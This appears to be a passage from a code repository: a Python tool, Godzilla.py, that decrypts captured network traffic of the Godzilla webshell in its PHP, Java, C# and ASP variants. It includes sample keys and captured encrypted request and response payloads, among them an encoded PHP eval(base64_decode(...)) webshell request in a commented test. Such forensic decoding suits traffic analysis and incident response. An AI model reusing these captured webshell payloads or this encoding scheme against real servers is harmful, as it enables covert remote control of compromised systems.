gz4ITr0L97oZI3XChSJdBfoR/2LwlJmzBL9IKDfpuFbSct8SDhLt8/yD2EZCe28av8LRt9pDZ1AC/NoK2Eju8zAUdNQWL3b7NEvdxcFWtQQiVIcm0Zxq4bFqHjbFe2IfBqz7TklDqEwiyBrLMnm1x9JbxV0lRD/rvxJv8q0l+IVXYv31iG+s2zwJX4g0A18jZx4eMYHFPRzDAgqm+61uldiKKKICLZUPGUC8K7rYU7xnbMZVUJH6whEbwyt3+9ZdVBTr8kCVLhDaT1Zd5LUeCLiJiTAylVkbLTo5PArJGnLJgU3j+tmWhY93MEjC8mmSl8XsL45BIB3OkgXyg+Akx1wyfC8TND71XJkCoX9bTJhsD44L3idKDfsyNo0AgpS4fX4ec1QsJFEzjhOVC1TEfCW/xe3oHR+oQOxrHr9+Lmq9YCIqW84U1xfzsi+BUOVZwo7YROpcTIKUvlGwp3QxaZ24f7fiVimg3mrweE6XJUuCY+RzpssNrAVZ10fosYmcl1DXIN0+AzzqquUr6JjT9cUaWMKsjcol7DQo6xfepLm4V5U5Bxq3U2gcg+vjFNbDdKxfneE+ADMPEA2SAQ64t9UyRln/lHGZShrbicbQP7AQIsDnO8chZNK1b4E2suBoos78/VGrpf6Ya5QDkQI049SL9Xj5Apq1EvWfLwmAC/OVg2wkSayxhm0qpQZlO1pH7K4bc++TXHuYYGyj4Y+5n3Xjnc4mBxtLVM7nfQfqYbTPgZ7Jc27rt9AVs78voyqdyZiycztFAmlON9ATEeroCMweobNjftSCUgsFm0LBIP7aTZsZ6ZOeuFTxEMe7celAeCTpRncrVBrc7CMEbxwM1HYFETfKX/MfX2PqSmXfKp3e18evbc13r25ykzA54jgWh6Yaq39+vU04glcJ8hPcWDSHTY5J1Xag0M+URBJ0Q4/abqoAHz3LsGqgC0bTIY3GW7EywQckRt9IV9RAHFkR5fiqcQ7cy8KKLvWsjDn1G6FnruVymbiA4A3V7556kUiuOuoD0ySfH+TjJSyA2u4BwqXSO+akqr8TxbIcEUCA+pdb8aaBAOjdLQxk+JdxF+EoSHTVRjjSOfGmnLufpQWHiEneBsbdODTuwm11yqPc5uinYVvyCw8Z6iQzKpqtUyaHnDSnwJhsen6UpjBSewBbHfbGhAOaRF+7ZQvuqSsZANWHJY+so9Oq4CJKVoAsy1iu3xRJVBJWEPkfT0DGDTUQnWx0jTsZyYAUqO8Lvh8P0/uxCJtWiyvnE5/FkR7Zm6kHEKQlkiUfrxz9R05/VUyeYzs313Gvq5fXhYGFcCZEn6Pf8CDsWxkHNDCEHuZDJo6n5J2BOrmSZotBDp1BaZn0RNnFaw91Vj1V5Z2qR26fwmUU9Y+la41rT2Y3OWyoGNtpqNZJpwn14bhvqW39+dtsWORzAwYu0TaHqyXmPiNvK+jIGzzl1sN5MSxtsXrOgxFLUCGReBC+pkJsPRAKc6ryrJvMNmnrIt2Up6tMctsd67BP7ShhsQKu1lgezyNh7PmcfHGxHG4i4Pmn9BJSbE5ndptHIN8R7p8RpurZ54tjh3m4nGuCla9ESvV35wfalWUK0paeFR0TQiqM1hteOyl9dD7gI0quQvfwZ8/xHocsN86G6ACwrSRHUy6mljC7G8hT5IXjpW+3YJ4Zwa/wZaFhrczmFQORq7QiyJGCDpppU1I49EoMqhVS+59GFou5ezkWo6MxEA3rOr0ehkuyAzKCIIpzHQxrMKb29Vq9nh2sdIYn1kpFnXQ6MyqgFAPdq9Ak8gRk11WLewubJFg1y9jNkYv3qd0mRH1vPYJYjGy0wOa0dUz/r2IN9aoWb8xA/lVRoVMwerWuZNhlK+KPoFi2fZwDdO8kn2Uj4LoSFsNA2aE5QMY6DQBXRTrWjfY08hDYQt2NGNIo59Ua8wd74Upbhh8EZOTGbg/OA+yBmX7iwAmYSO8t50KMFnqdlxKuvj9L9EjxnWVqXX8jhcADMyb1OjlzrBJ49X19OTRJ1pxDH3BIIqpqkA2/S2go4n5Oo6jvwOqhTjhyt7IFq+FTu0KiOSha+uOaX+FVChqo4NNAI70vczpnU+/8mcHL9RpC0f7+C54o5tt4Ts9JFKS+HIjTqbZxk+jLs6QZ12LvSq1yw9QdSpO5bV82/fO9fN/Uvw6PhGwIGTG2yleFIe3VBy7TjFYwPP5mcIcbc1oP4TwZtXzZMOQ7Se5IXj/eexUgwe8d1wOtRpGEFbOSUI3xbNHkgCaa6AP7f57h9+JAKb91gap1l61CkdAkxlcF4N8A3sR3AM51EWqJo48NuRsrlS/qX5vb4IGz5cO28L/ld9uAFCyCVb9a0DyGF/rHd/8onbI5jkAbYXsOsnXaLZO7ZPEsP3wS8fNCbadcrALN1AlWYMLTRulqjmiwOYJ61NaDQEJHn2KDddO0bb1XA/Cmz/SRcECca2L2VwjX8TL+xjy5HVvB2AWE6pcgPXGxUWD/gpG2PQN9OHvlSObWLECR8aRpNwYP+UD95I7Uyjn795zLJ2Zteq0igMEJtBdRI+lXCWJjnW97PH2m1/k98TB6CMFa32BEp0xaEqZVUMSK0WOBnL9tGfBl39M09M+M3kAYg+DpR/Gl1NanEhGRLLKpoMB50p7twx1siql402FqbiiAef0ISYg6edZv9/zjGRZKJPLyTS/wRL4i4xEWEIv9R9zaX1aaXYU96efFg2EXH1X4mRgxI6kwhuPZmNzgQngC6DKKSlIvYXHKXo3NY5oyU5j8M0kGH3SBBX94syALTwfA17cYoVYlQx2cR/D+dum3eMbILF4ZhWM1QTf1ecNCNArp09ovetD1v2hX3se8zOEgfs2CEKPS5MHCf/k+WbuTlvUyLk9NXz4gypK69/S9c565fZxX+pi/hu6URfadsV1CTqtHZ2YyFUeHgOlA7ZP3r7h2wW1Br+0Zpoz8ZCVpPbXdcpaBOrifYy6C0vvSAhcMaBfXHV8qBMHXq/RXYD0TLyg+bApA8B2KqkqqP+CPJuADh2er9SrOalrSB/lqdO+bkSltF47HATPHdf6tCMcXJDBxUNBuXJUsUYF3pJkNxmgUkh0z7JJI3sJS5x4n6lVNRc2yAEGTGyBU45msTF7PYDrYmhikQdH4VqKFwhR8y+nfJ3IuI9VaeXMhvfh/YLmfnLwnOhXx10Xo1nftwIYCDsXgjE+0dBahDFctEbtndXydU2kaz1T9NqnKi51xBu9VWKih2q90bZfxv8VtVQ3ekYDqqZ7SP5fEYxKUi4knRJNk0ghQhOGcMcT2hZB0IMelVUpB/7JHHu+jbpV9l9ECfeCO5vVI+cqQApZn2QfMKORkyDUOITh+aJBoqEp9DLDHnedyq8fLmsOYZH0sOL+8L5Vx380IFJlgY9El4rakpWGqC6ETGMILvvvnfqQYLQVrJdUY9a3AnDZKWzOZW7q1C4vGL2HBtPSwEe2D5YsgxslCHhmAhEsh4jy27/HyoxbS8j2x87/Ne4V91mtDVwOhEp4dFJ2eSoHyYr1mKL8EjpW0Cztsfx10XkfWdCV9X9qPB/QRFvqoF/9RtjYPy4yQC4iDiXc/zivCCdEvIE99MNMvGhycF+RGhk94rEyPmIrEAYL4aPBKfZBY0Ar3k5ytdB3RV+GUxYtqQIj3I9qcVyD48KTDebOKsRMb5lb3/3HlO/lDGEXxktigkmmIYJncXtNIaJu0Lv4dq+D2Bs1XzHCbb0KMaMjihzkN3MNq9hWzRqdkorUnU04HBtTJHyUqq0J2U8eJUOjWo24R3ZyThZZDhxaZpNX1wrwnbYvKk3tFKatIgku2+YtvxqCJvv13YI2riMQxZxiSofOJrM7r6fhdWELLxK5ed9DJyaq1YwpXAITv4s3FJVQSy1vS/ynRLzrqkhdMCyC8O2Qu5n3+OMdG6mS8amfg2946o6ade6ePMm8qP8uTK3gVxY4tGxr1s7TlPeSza8HbdeM1msnCGeJNvQMimiBhgbNPcg3CKBPzR/Xt660HhmXVWZrgi6fysr5wuFzdLE93Pc+4a8tRrSI4NKazTZkCfJg3s9IAVXWtIZxJbxcnPVCEOfMihv+pB2rmdCQfA+8Sn5kfqmShnJOac/ef+QzlbwDKJqerJoci2b0exLzmphuz5/eMGxiIZp7Hi/vZzUPeKOFn2Iy4LD8Viu1vsCRW2Ohwqlw05c0wVJ0bG0zj1aSbS7NfCg2Hxr/u43fnwFddJvebUfrWD18eFsCDL7BeEQXmPP58QyRcl3SUSzX7D6DhesDJDDGnu5xhOXiCrZAFcy227TKkWAqHLN5h161ni0Abr8tMMkFl+eKyDD9pNABEyhgcIicM/Nh6Vlj+nzOHWbYHUpGyuR6rk9n1MPRKMl9TqqNuKsH7MNncNARtb3az6QcKEK6wPlQKOE/hYsqD5cNVDWieAE1p2fKv1iryJbTI3qb0VLVlvkq7yAJkhjbZwzYpqJgxBpqWH/X1kJhjNEZ5ABT+jQM82PZNRq/VYFJw1MmkXqIdh/lwMpY46JfP/vW1AUV9AxCO7YBMm4vUWZQk8pBMnCIqR/pAxpQeOycQGZQEqpM+tbDLqezrD4mr2gyF6SqXb+PuJH0870xKxoLLVdPog3BJSDZ3XVl66xEgMQSgTwDykSKD7SdBxJOSLzdu0uXXmJ1Oxpju+hZVG064VczG270R51/hpYVVel3bU2k+Uw/7Y0Mx1yPU7S7HwXiIzRlHi9g1iYtl5wS9bTlwJxd6XwlDNV66+O8u7hrWSC/cXT7s9eS9LzoHPeVCaK7hfHvMwHzrfnbj105uyZAqUV1Ln84tdsJAy6CZD/rWAQRBCgeXdctVKNdEpIvQCf6LI3z1fr8dEZ6lTk5VetMALlPpdcZg6QiPSvyUOvZup5M3vioVmjmAD3qNAa2xPtzV+EJLd0yfPJ9GjqEryYBwZdqrY6wqMSeikrvWhWt1AhINnGF1b3kDjP/cLh6BE1mAyD0Krn6THIVOYJwDpqkWqasc7CQpBCwYa8xqXLvigurdshu/RnOiNFQlMSg4uX6rgCv0V0qydkXig3c1DPfLj3AcyqGUFA0jEMe/GmPkh5zyqw/h92N1Z0+sDc9PeGMv17FKBRdRvoWuaXANWS9fzFw17vOOG++NE2K0P/PDmvrClSohay0UZHocsh20fD2qgOxDc6AS137rKEb0sJnmAF72WviTzOxTHf/OgkPBLD8xSJ084FtGVAjKgX2lMZAOwl0IIW7USSRbU7WEidMwb8oWTpJvh5ODpDGjonDJYeMJa0gJChTz3Qktls8xSWWny50KHOOmuGbT04+8c3Spe3dZI/olrA=='''
133 | data = java.decrypt_req_payload(java_req)
134 | print(data)
135 |
136 | java_res = base64.b64decode(b'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')
137 | data = java.decrypt_res_payload(java_res)
138 | print(data)
--------------------------------------------------------------------------------
/Godzilla.py:
--------------------------------------------------------------------------------
1 | import base64
2 | import gzip
3 | import re
4 | from urllib.parse import unquote
5 | from Crypto.Cipher import AES
6 |
7 |
8 | def unpad(s):
9 | return s[:-ord(s[len(s) - 1:])]
10 |
11 |
12 | def XOR(D, K):
13 | result = []
14 | for i in range(len(D)):
15 | c = K[i + 1 & 15]
16 | if not isinstance(D[i], int):
17 | d = ord(D[i])
18 | else:
19 | d = D[i]
20 | result.append(d ^ ord(c))
21 | return b''.join([i.to_bytes(1, byteorder='big') for i in result])
22 |
23 |
24 | class PHP_XOR_BASE64:
25 | def __init__(self, pass_, key):
26 | self.pass_ = pass_
27 | self.key = key
28 |
29 | def decrypt_req_payload(self, payload):
30 | payload = payload.decode().split(self.pass_ + '=')[1]
31 | return XOR(base64.b64decode(unquote(payload)), self.key)
32 |
33 | def decrypt_res_payload(self, payload):
34 | payload = payload[16:-16]
35 | return gzip.decompress(XOR(base64.b64decode(payload.decode()), self.key))
36 |
37 |
38 | class PHP_XOR_RAW:
39 | def __init__(self, pass_, key):
40 | self.pass_ = pass_
41 | self.key = key
42 |
43 | def decrypt_req_payload(self, payload):
44 | return XOR(payload, self.key)
45 |
46 | def decrypt_res_payload(self, payload):
47 | return gzip.decompress(XOR(payload, self.key))
48 |
49 |
50 | class PHP_EVAL_XOR_BASE64:
51 | def __init__(self, pass_, key):
52 | self.pass_ = pass_
53 | self.key = key
54 |
55 | def decrypt_req_payload(self, payload):
56 | body = unquote(payload.decode())
57 | match = re.findall(r"eval\(base64_decode\(strrev\(urldecode\('(.*)'\)", str(body))
58 | # encode_body = regexphp(,body)
59 | tmp = reversed(match[0])
60 | tmp_base64 = ''.join(tmp)
61 | return base64.b64decode(tmp_base64)
62 |
63 | def decrypt_res_payload(self, payload):
64 | payload = payload[16:-16]
65 | return gzip.decompress(XOR(base64.b64decode(payload.decode()), self.key))
66 |
67 |
68 | class JAVA_AES_BASE64:
69 | def __init__(self, pass_, key):
70 | self.pass_ = pass_
71 | self.key = key
72 |
73 | def decrypt_req_payload(self, payload):
74 | payload = payload.decode().split(self.pass_ + '=')[1]
75 | encrypted_text = base64.b64decode(unquote(payload))
76 |
77 | cipher = AES.new(key=self.key.encode(), mode=AES.MODE_ECB)
78 | decrypted_text = cipher.decrypt(encrypted_text)
79 | decrypted_text = unpad(decrypted_text)
80 | try:
81 | decrypted_text = gzip.decompress(decrypted_text)
82 | except:
83 | pass
84 | return decrypted_text
85 |
86 | def decrypt_res_payload(self, payload):
87 | payload = payload.decode()
88 | payload = payload[16:-16]
89 | encrypted_text = base64.b64decode(payload)
90 |
91 | cipher = AES.new(key=self.key.encode(), mode=AES.MODE_ECB)
92 | decrypted_text = cipher.decrypt(encrypted_text)
93 | decrypted_text = unpad(decrypted_text)
94 | return gzip.decompress(decrypted_text)
95 |
96 |
97 | class JAVA_AES_RAW:
98 | def __init__(self, pass_, key):
99 | self.pass_ = pass_
100 | self.key = key
101 |
102 | def decrypt_req_payload(self, payload):
103 | """"16进制字符串: d26414f92d691674f3dedb554e70202550ff681c03dcd3572f74df4c4c68d7078abb82808610aee869f51107d7d66f60"""
104 | encrypted_text = payload
105 |
106 | cipher = AES.new(key=self.key.encode(), mode=AES.MODE_ECB)
107 | decrypted_text = cipher.decrypt(encrypted_text)
108 | decrypted_text = unpad(decrypted_text)
109 | try:
110 | decrypted_text = gzip.decompress(decrypted_text)
111 | except:
112 | pass
113 | return decrypted_text
114 |
115 | def decrypt_res_payload(self, payload):
116 | encrypted_text = payload
117 |
118 | cipher = AES.new(key=self.key.encode(), mode=AES.MODE_ECB)
119 | decrypted_text = cipher.decrypt(encrypted_text)
120 | decrypted_text = unpad(decrypted_text)
121 | return gzip.decompress(decrypted_text)
122 |
123 |
124 | class CSHAP_AES_BASE64:
125 | def __init__(self, pass_, key):
126 | self.pass_ = pass_
127 | self.key = key
128 |
129 | def decrypt_req_payload(self, payload):
130 | payload = payload.decode().split(self.pass_ + '=')[1]
131 | encrypted_text = base64.b64decode(unquote(payload))
132 |
133 | cipher = AES.new(key=self.key.encode(), mode=AES.MODE_CBC, iv=self.key.encode())
134 | decrypted_text = cipher.decrypt(encrypted_text)
135 | decrypted_text = unpad(decrypted_text)
136 | try:
137 | decrypted_text = gzip.decompress(decrypted_text)
138 | except:
139 | pass
140 | return decrypted_text
141 |
142 | def decrypt_res_payload(self, payload):
143 | payload = payload.decode()
144 | payload = payload[16:-16]
145 | encrypted_text = base64.b64decode(payload)
146 |
147 | cipher = AES.new(key=self.key.encode(), mode=AES.MODE_CBC, iv=self.key.encode())
148 | decrypted_text = cipher.decrypt(encrypted_text)
149 | decrypted_text = unpad(decrypted_text)
150 | return gzip.decompress(decrypted_text)
151 |
152 |
153 | class CSHAP_EVAL_AES_BASE64:
154 | def __init__(self, pass_, key):
155 | self.pass_ = pass_
156 | self.key = key
157 |
158 | def decrypt_req_payload(self, payload):
159 | body = unquote(payload.decode())
160 | match = re.findall(r"HttpUtility.UrlDecode\('(.*)'\)\)\)", str(body))
161 | tmp = match[0]
162 | decrypted_text = base64.b64decode(tmp)
163 |
164 | return decrypted_text
165 |
166 | def decrypt_res_payload(self, payload):
167 | payload = payload.decode()
168 | payload = payload[16:-16]
169 | encrypted_text = base64.b64decode(payload)
170 |
171 | cipher = AES.new(key=self.key.encode(), mode=AES.MODE_CBC, iv=self.key.encode())
172 | decrypted_text = cipher.decrypt(encrypted_text)
173 | decrypted_text = unpad(decrypted_text)
174 | return gzip.decompress(decrypted_text)
175 |
176 |
177 | class CSHAP_ASMX_AES_BASE64:
178 | def __init__(self, pass_, key):
179 | self.pass_ = pass_
180 | self.key = key
181 |
182 | def decrypt_req_payload(self, payload):
183 | body = payload.decode()
184 | match = re.findall(r"<{}>(.*?){}>".format(self.pass_, self.pass_), str(body))
185 |
186 | encrypted_text = base64.b64decode(unquote(match[0]))
187 |
188 | cipher = AES.new(key=self.key.encode(), mode=AES.MODE_CBC, iv=self.key.encode())
189 | decrypted_text = cipher.decrypt(encrypted_text)
190 | decrypted_text = unpad(decrypted_text)
191 | try:
192 | decrypted_text = gzip.decompress(decrypted_text)
193 | except:
194 | pass
195 | return decrypted_text
196 |
197 | def decrypt_res_payload(self, payload):
198 | body = payload.decode()
199 | match = re.findall(r"<{}Result>(.*?){}Result>".format(self.pass_, self.pass_), str(body))
200 |
201 | payload = match[0][16:-16]
202 | encrypted_text = base64.b64decode(payload)
203 |
204 | cipher = AES.new(key=self.key.encode(), mode=AES.MODE_CBC, iv=self.key.encode())
205 | decrypted_text = cipher.decrypt(encrypted_text)
206 | decrypted_text = unpad(decrypted_text)
207 | return gzip.decompress(decrypted_text)
208 |
209 |
210 | class CSHAP_AES_RAW:
211 | def __init__(self, pass_, key):
212 | self.pass_ = pass_
213 | self.key = key
214 |
215 | def decrypt_req_payload(self, payload):
216 | encrypted_text = payload
217 |
218 | cipher = AES.new(key=self.key.encode(), mode=AES.MODE_CBC, iv=self.key.encode())
219 | decrypted_text = cipher.decrypt(encrypted_text)
220 | decrypted_text = unpad(decrypted_text)
221 | try:
222 | decrypted_text = gzip.decompress(decrypted_text)
223 | except:
224 | pass
225 | return decrypted_text
226 |
227 | def decrypt_res_payload(self, payload):
228 | encrypted_text = payload
229 |
230 | cipher = AES.new(key=self.key.encode(), mode=AES.MODE_CBC, iv=self.key.encode())
231 | decrypted_text = cipher.decrypt(encrypted_text)
232 | decrypted_text = unpad(decrypted_text)
233 | return gzip.decompress(decrypted_text)
234 |
235 |
236 | class ASP_BASE64:
237 | def __init__(self, pass_, key):
238 | self.pass_ = pass_
239 | self.key = key
240 |
241 | def decrypt_req_payload(self, payload):
242 | payload = payload.decode().split(self.pass_ + '=')[1]
243 | return base64.b64decode(unquote(payload))
244 |
245 | def decrypt_res_payload(self, payload):
246 | payload = payload.decode()
247 | payload = payload[6:-6]
248 | return base64.b64decode((payload))
249 |
250 |
251 | class ASP_EVAL_BASE64:
252 | def __init__(self, pass_, key):
253 | self.pass_ = pass_
254 | self.key = key
255 |
256 | def decrypt_req_payload(self, payload):
257 | body = unquote(payload.decode())
258 | match = re.findall(r'bd\(""""(.*?)""""\)', str(body))
259 | tmp = bytes(bytearray.fromhex(match[0]))
260 | return tmp
261 |
262 | def decrypt_res_payload(self, payload):
263 | payload = payload[6:-6]
264 | return base64.b64decode((payload))
265 |
266 |
267 | class ASP_RAW:
268 | def __init__(self, pass_, key):
269 | self.pass_ = pass_
270 | self.key = key
271 |
272 | def decrypt_req_payload(self, payload):
273 | return payload
274 |
275 | def decrypt_res_payload(self, payload):
276 | return payload
277 |
278 |
279 | class ASP_XOR_BASE64:
280 | def __init__(self, pass_, key):
281 | self.pass_ = pass_
282 | self.key = key
283 |
284 | def decrypt_req_payload(self, payload):
285 | payload = payload.decode().split(self.pass_ + '=')[1]
286 | return XOR(base64.b64decode(unquote(payload)), self.key)
287 |
288 | def decrypt_res_payload(self, payload):
289 | payload = payload.decode()
290 | payload = payload[6:-6]
291 | return XOR(base64.b64decode(payload), self.key)
292 |
293 |
294 | class ASP_XOR_RAW:
295 | def __init__(self, pass_, key):
296 | self.pass_ = pass_
297 | self.key = key
298 |
299 | def decrypt_req_payload(self, payload):
300 | return XOR(payload, self.key)
301 |
302 | def decrypt_res_payload(self, payload):
303 | return XOR(payload, self.key)
304 |
305 |
306 | if __name__ == '__main__':
307 | decrypter = PHP_XOR_BASE64(pass_='pass', key='3c6e0b8a9c15224a')
308 | data = decrypter.decrypt_req_payload(b'pass=DlMRWA1cL1gOVDc2MjRhRwZFEQ==')
309 | print(data)
310 | data = decrypter.decrypt_res_payload(b'72a9c691ccdaab98fL1tMGI4YTljO/79NDQm7r9PZzBiOA==b4c4e1f6ddd2a488')
311 | print(data)
312 |
313 | # php_xor_raw_req = '0e5311580d5c2f580e54373632346147064511'
314 | # php_xor_raw_res = '7cbd6d3062386139633bfefd343426eebf4f67306238'
315 | # decrypter = PHP_XOR_RAW(pass_='pass', key='3c6e0b8a9c15224a')
316 | # data = decrypter.decrypt_req_payload(bytes(bytearray.fromhex(php_xor_raw_req)))
317 | # print(data)
318 | # data = decrypter.decrypt_res_payload(bytes(bytearray.fromhex(php_xor_raw_res)))
319 | # print(data)
320 |
321 | # decrypter = PHP_EVAL_XOR_BASE64(pass_='pass', key='3c6e0b8a9c15224a')
322 | # data = decrypter.decrypt_req_payload(b'pass=eval%28base64_decode%28strrev%28urldecode%28%27K0QfK0QfgACIgoQD9BCIgACIgACIK0wOpkXZrRCLhRXYkRCKlR2bj5WZ90VZtFmTkF2bslXYwRyWO9USTNVRT9FJgACIgACIgACIgACIK0wepU2csFmZ90TIpIybm5WSzNWazFmQ0V2ZiwSY0FGZkgycvBnc0NHKgYWagACIgACIgAiCNsXZzxWZ9BCIgAiCNsTK2EDLpkXZrRiLzNXYwRCK1QWboIHdzJWdzByboNWZgACIgACIgAiCNsTKpkXZrRCLpEGdhRGJo4WdyBEKlR2bj5WZoUGZvNmbl9FN2U2chJGIvh2YlBCIgACIgACIK0wOpYTMsADLpkXZrRiLzNXYwRCK1QWboIHdzJWdzByboNWZgACIgACIgAiCNsTKkF2bslXYwRCKsFmdllQCK0QfgACIgACIgAiCNsTK5V2akwCZh9Gb5FGckgSZk92YuVWPkF2bslXYwRCIgACIgACIgACIgAiCNsXKlNHbhZWP90TKi8mZul0cjl2chJEdldmIsQWYvxWehBHJoM3bwJHdzhCImlGIgACIgACIgoQD7kSeltGJs0VZtFmTkF2bslXYwRyWO9USTNVRT9FJoUGZvNmbl1DZh9Gb5FGckACIgACIgACIK0wepkSXl1WYORWYvxWehBHJb50TJN1UFN1XkgCdlN3cphCImlGIgACIK0wOpkXZrRCLp01czFGcksFVT9EUfRCKlR2bjVGZfRjNlNXYihSZk92YuVWPhRXYkRCIgACIK0wepkSXzNXYwRyWUN1TQ9FJoQXZzNXaoAiZppQD7cSY0IjM1EzY5EGOiBTZ2M2Mn0TeltGJK0wOnQWYvxWehB3J9UWbh5EZh9Gb5FGckoQD7cSelt2J9M3chBHJK0QfK0wOERCIuJXd0VmcgACIgoQD9BCIgAiCNszYk4VXpRyWERCI9ASXpRyWERCIgACIgACIgoQD70VNxYSMrkGJbtEJg0DIjRCIgACIgACIgoQD7BSKrsSaksTKERCKuVGbyR3c8kGJ7ATPpRCKy9mZgACIgoQD7lySkwCRkgSZk92YuVGIu9Wa0Nmb1ZmCNsTKwgyZulGdy9GclJ3Xy9mcyVGQK0wOpADK0lWbpx2Xl1Wa09FdlNHQK0wOpgCdyFGdz9lbvl2czV2cApQD%27%29%29%29%29%3B&key=DlMRWA1cL1gOVDc2MjRhRwZFEQ%3D%3D')
323 | # print(data)
324 | # exit()
325 | # data = decrypter.decrypt_res_payload(b'72a9c691ccdaab98fL1tMGI4YTljO/79NDQm7r9PZzBiOA==b4c4e1f6ddd2a488')
326 | # print(data)
327 |
328 |
329 | # decrypter = JAVA_AES_RAW(pass_='pass', key='3c6e0b8a9c15224a')
330 | # java_raw_req = 'd26414f92d691674f3dedb554e70202550ff681c03dcd3572f74df4c4c68d7078abb82808610aee869f51107d7d66f60'
331 | # java_raw_res = '2c5fc8a643ef334889238c26a41b360daa0156f71b0cca70b8bee7612de7fe4e'
332 | # data = decrypter.decrypt_req_payload(bytes(bytearray.fromhex(java_raw_req)))
333 | # print(data)
334 | # data = decrypter.decrypt_res_payload(bytes(bytearray.fromhex(java_raw_res)))
335 | # print(data)
336 |
337 | decrypter = JAVA_AES_BASE64(pass_='pass', key='3c6e0b8a9c15224a')
